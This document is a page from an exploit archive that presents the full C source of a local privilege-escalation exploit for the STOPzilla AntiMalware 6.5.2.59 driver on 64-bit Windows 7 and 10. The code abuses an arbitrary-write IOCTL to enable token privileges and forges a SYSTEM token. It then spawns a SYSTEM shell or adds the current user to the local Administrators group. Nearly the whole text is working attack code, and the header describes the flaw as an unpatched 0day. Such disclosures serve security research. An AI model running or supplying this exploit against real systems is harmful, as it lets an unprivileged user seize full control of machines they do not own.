Stopzilla antimalware 6.5.2.59 privilege escalation (1) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2018-09-13 | Type : local | Platform : windows


[+] Code ...

/*
# Exploit Title: STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation
# Date: 2018-09-13
# Author: Parvez Anwar (@parvezghh)
# Vendor Homepage: https://www.stopzilla.com/
# Software link: https://download.stopzilla.com/binaries/stopzilla/auto_installer/STOPzillaAntiMalware.msi
# Tested Version: 6.5.2.59
# Driver Version: 3.0.23.0 - szkg64.sys
# Tested on OS: 64bit Windows 7 and Windows 10 (1803)
# CVE ID: N/A
# Vendor fix url - No response from vendor
# Fixed Version - 0day
# Fixed driver ver - 0day
# https://www.greyhathacker.net/?p=1025

*/

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <sddl.h>

#pragma comment(lib,"winsta.lib")
#pragma comment(lib,"advapi32.lib")

#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

void WINAPI WinStationSwitchToServicesSession();


typedef unsigned __int64 QWORD;


typedef struct _SID_BUILTIN
{
UCHAR Revision;
UCHAR SubAuthorityCount;
SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
ULONG SubAuthority[2];
} SID_BUILTIN, *PSID_BUILTIN;


typedef struct _SID_INTEGRITY
{
UCHAR Revision;
UCHAR SubAuthorityCount;
SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
ULONG SubAuthority[1];
} SID_INTEGRITY, *PSID_INTEGRITY;


typedef NTSYSAPI NTSTATUS (NTAPI *_ZwCreateToken)(
OUT PHANDLE TokenHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN TOKEN_TYPE Type,
IN PLUID AuthenticationId,
IN PLARGE_INTEGER ExpirationTime,
IN PTOKEN_USER User,
IN PTOKEN_GROUPS Groups,
IN PTOKEN_PRIVILEGES Privileges,
IN PTOKEN_OWNER Owner,
IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
IN PTOKEN_DEFAULT_DACL DefaultDacl,
IN PTOKEN_SOURCE Source
);


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
QWORD Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;


typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);



int GetWindowsVersion()
{
int ver = 0;
OSVERSIONINFO osvi;


ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);

if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1) ver = 1; // Windows 7
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) ver = 2; // Windows 10

return ver;
}



int spawnShell(HANDLE hTokenElevated)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;


ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = "WinSta0\\Default";

if (!CreateProcessAsUser(hTokenElevated, NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
printf("\n[-] Failed to execute command (%d) Run exploit again\n\n", GetLastError());
return -1;
}
printf("\n[+] Executed command successfully");

printf("\n[*] Switching session . . .\n\n");
WinStationSwitchToServicesSession();

return 0;
}



int AddAccountToAdminGroup(HANDLE hTokenElevated)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
DWORD currentusersize;
char currentuser[100];
char netcommand[MAX_PATH];


ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);

currentusersize = sizeof(currentuser);

if (!GetUserName(currentuser, &currentusersize))
{
printf("\n[-] Failed to obtain current username: %d\n\n", GetLastError());
return -1;
}

printf("\n[*] Adding current user '%s' account to the local administrators group", currentuser);

sprintf(netcommand, "net localgroup Administrators %s /add", currentuser);

if (!CreateProcessAsUser(hTokenElevated, NULL, netcommand, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
printf("\n[-] Failed to execute command (%d) Run exploit again\n\n", GetLastError());
return -1;
}
printf("\n[+] Executed command successfully\n");

return 0;
}



PTOKEN_PRIVILEGES SetPrivileges()
{
PTOKEN_PRIVILEGES privileges;
LUID luid;
int NumOfPrivileges = 5;
int nBufferSize;


nBufferSize = sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES) * NumOfPrivileges;
privileges = (PTOKEN_PRIVILEGES) LocalAlloc(LPTR, nBufferSize);

privileges->PrivilegeCount = NumOfPrivileges;

LookupPrivilegeValue(NULL, SE_TCB_NAME, &luid);
privileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[0].Luid = luid;

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
privileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[1].Luid = luid;

LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
privileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[2].Luid = luid;

LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid);
privileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[3].Luid = luid;

LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid);
privileges->Privileges[4].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[4].Luid = luid;

return privileges;
}



PSID GetLocalSystemSID()
{
PSID psid = NULL;
SID_IDENTIFIER_AUTHORITY sidAuth = SECURITY_NT_AUTHORITY;


if (AllocateAndInitializeSid(&sidAuth, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &psid) == FALSE)
{
printf("\n[-] AllocateAndInitializeSid failed %d\n", GetLastError());
return NULL;
}

return psid;
}



LPVOID GetInfoFromToken(HANDLE hToken, TOKEN_INFORMATION_CLASS type)
{
DWORD dwLengthNeeded;
LPVOID lpData = NULL;


if (!GetTokenInformation(hToken, type, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
printf("\n[-] Failed to initialize GetTokenInformation %d", GetLastError());
return NULL;
}

lpData = (LPVOID)LocalAlloc(LPTR, dwLengthNeeded);
GetTokenInformation(hToken, type, lpData, dwLengthNeeded, &dwLengthNeeded);

return lpData;
}



QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;
ULONG i;
PSYSTEM_HANDLE pHandle;
QWORD TokenAddress = 0;
DWORD nSize = 4096;
DWORD nReturn;
BOOL tProcess;
HANDLE hToken;


if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
{
printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
return -1;
}

NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}

do
{
nSize += 4096;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);

printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);

for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{

if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
{
TokenAddress = pSysHandleInfo->Handles[i].Object;
}
}

HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return TokenAddress;
}



HANDLE CreateUserToken(HANDLE hToken)
{
_ZwCreateToken ZwCreateToken;
HANDLE hTokenElevated;
NTSTATUS status;
int i;
DWORD dwSize = 0;
TOKEN_USER userToken;
PTOKEN_PRIVILEGES privileges = NULL;
PTOKEN_OWNER ownerToken = NULL;
PTOKEN_GROUPS groups = NULL;
PTOKEN_PRIMARY_GROUP primary_group = NULL;
PTOKEN_DEFAULT_DACL default_dacl = NULL;
PLUID pluidAuth;
LARGE_INTEGER li;
PLARGE_INTEGER pli;
LUID authid = SYSTEM_LUID;
LUID luid;
PSID_AND_ATTRIBUTES pSid;
SID_BUILTIN TkSidLocalAdminGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, DOMAIN_ALIAS_RID_ADMINS } };
SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE };
OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos };
TOKEN_SOURCE SourceToken = { { '!', '!', '!', '!', '!', '!', '!', '!' }, { 0, 0 } };
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
PSID lpSidOwner = NULL;
SID_INTEGRITY IntegritySIDSystem = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_SYSTEM_RID };


ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwCreateToken");

if (ZwCreateToken == NULL)
{
printf("[-] Unable to resolve ZwCreateToken: %d\n\n", GetLastError());
return NULL;
}

groups = (PTOKEN_GROUPS)GetInfoFromToken(hToken, TokenGroups);
primary_group = (PTOKEN_PRIMARY_GROUP)GetInfoFromToken(hToken, TokenPrimaryGroup);
default_dacl = (PTOKEN_DEFAULT_DACL)GetInfoFromToken(hToken, TokenDefaultDacl);

pSid = groups->Groups;

for (i=0; i<groups->GroupCount; i++, pSid++)
{
PISID piSid = (PISID)pSid->Sid;

if (pSid->Attributes & SE_GROUP_INTEGRITY)
{
memcpy(pSid->Sid, &IntegritySIDSystem, sizeof(IntegritySIDSystem));
}

if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS)
{
memcpy(piSid, &TkSidLocalAdminGroup, sizeof(TkSidLocalAdminGroup)); // Found RID_USERS membership, overwrite with RID_ADMINS
pSid->Attributes = SE_GROUP_ENABLED;
}
else
{
pSid->Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY;
pSid->Attributes &= ~SE_GROUP_ENABLED;
}
}

pluidAuth = &authid;
li.LowPart = 0xFFFFFFFF;
li.HighPart = 0xFFFFFFFF;
pli = &li;

AllocateAndInitializeSid(&nt, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &lpSidOwner);
userToken.User.Sid = lpSidOwner;
userToken.User.Attributes = 0;

AllocateLocallyUniqueId(&luid);
SourceToken.SourceIdentifier.LowPart = luid.LowPart;
SourceToken.SourceIdentifier.HighPart = luid.HighPart;

ownerToken = (PTOKEN_OWNER) LocalAlloc(LPTR, sizeof(PSID));
ownerToken->Owner = GetLocalSystemSID();

privileges = SetPrivileges();

status = ZwCreateToken(&hTokenElevated,
TOKEN_ALL_ACCESS,
&oa,
TokenPrimary,
pluidAuth,
pli,
&userToken,
groups,
privileges,
ownerToken,
primary_group,
default_dacl,
&SourceToken);

if (status == STATUS_SUCCESS)
{
printf("\n[+] New token created successfully\n");
return hTokenElevated;
}
else
{
// printf("\n[-] Failed to create new token %08x\n", status);
return NULL;
}

if (lpSidOwner) FreeSid(lpSidOwner);
if (groups) LocalFree(groups);
if (privileges) LocalFree(privileges);
if (primary_group) LocalFree(primary_group);
if (default_dacl) LocalFree(default_dacl);
if (ownerToken) { if(ownerToken->Owner) FreeSid(ownerToken->Owner); LocalFree(ownerToken); }

return NULL;
}



int main(int argc, char *argv[])
{

QWORD TokenAddressTarget;
QWORD SepPrivilegesOffset = 0x40;
QWORD PresentByteOffset;
QWORD EnableByteOffset;
QWORD TokenAddress;
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
HANDLE hTokenCurrent;
HANDLE hTokenElevate;


printf("-------------------------------------------------------------------------------\n");
printf(" STOPzilla AntiMalware (szkg64.sys) Arbitrary Write EoP Exploit \n");
printf(" Tested on 64bit Windows 7 / Windows 10 (1803) \n");
printf("-------------------------------------------------------------------------------\n");

TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
printf("\n[i] Address of current process token 0x%p", TokenAddress);

TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten\n", TokenAddressTarget);

PresentByteOffset = TokenAddressTarget + 0x0;
printf("[i] Present bits at 0x%p will be overwritten\n", PresentByteOffset);

EnableByteOffset = TokenAddressTarget + 0x8;
printf("[i] Enabled bits at 0x%p will be overwritten", EnableByteOffset);

sprintf(devhandle, "\\\\.\\%s", "msprocess");

hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}

printf("\n[~] Press any key to continue . . .\n");
getch();

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hTokenCurrent))
{
printf("[-] Failed OpenProcessToken() %d\n\n", GetLastError());
return NULL;
}
printf("[+] OpenProcessToken() handle opened successfully");

do
{
printf("\n[*] Overwriting _SEP_TOKEN_PRIVILEGES bits");
DeviceIoControl(hDevice, 0x80002063, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x80002063, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL);
hTokenElevate = CreateUserToken(hTokenCurrent);
Sleep(500);
} while (hTokenElevate == NULL);

if (GetWindowsVersion() == 1)
{
printf("[i] Running Windows 7");
printf("\n[*] Spawning SYSTEM Shell");
spawnShell(hTokenElevate);
}
if (GetWindowsVersion() == 2)
{
printf("[i] Running Windows 10");
AddAccountToAdminGroup(hTokenElevate);
}
else if (GetWindowsVersion() == 0)
{
printf("[i] Exploit not tested on this OS\n\n");
}

CloseHandle(hDevice);

return 0;
}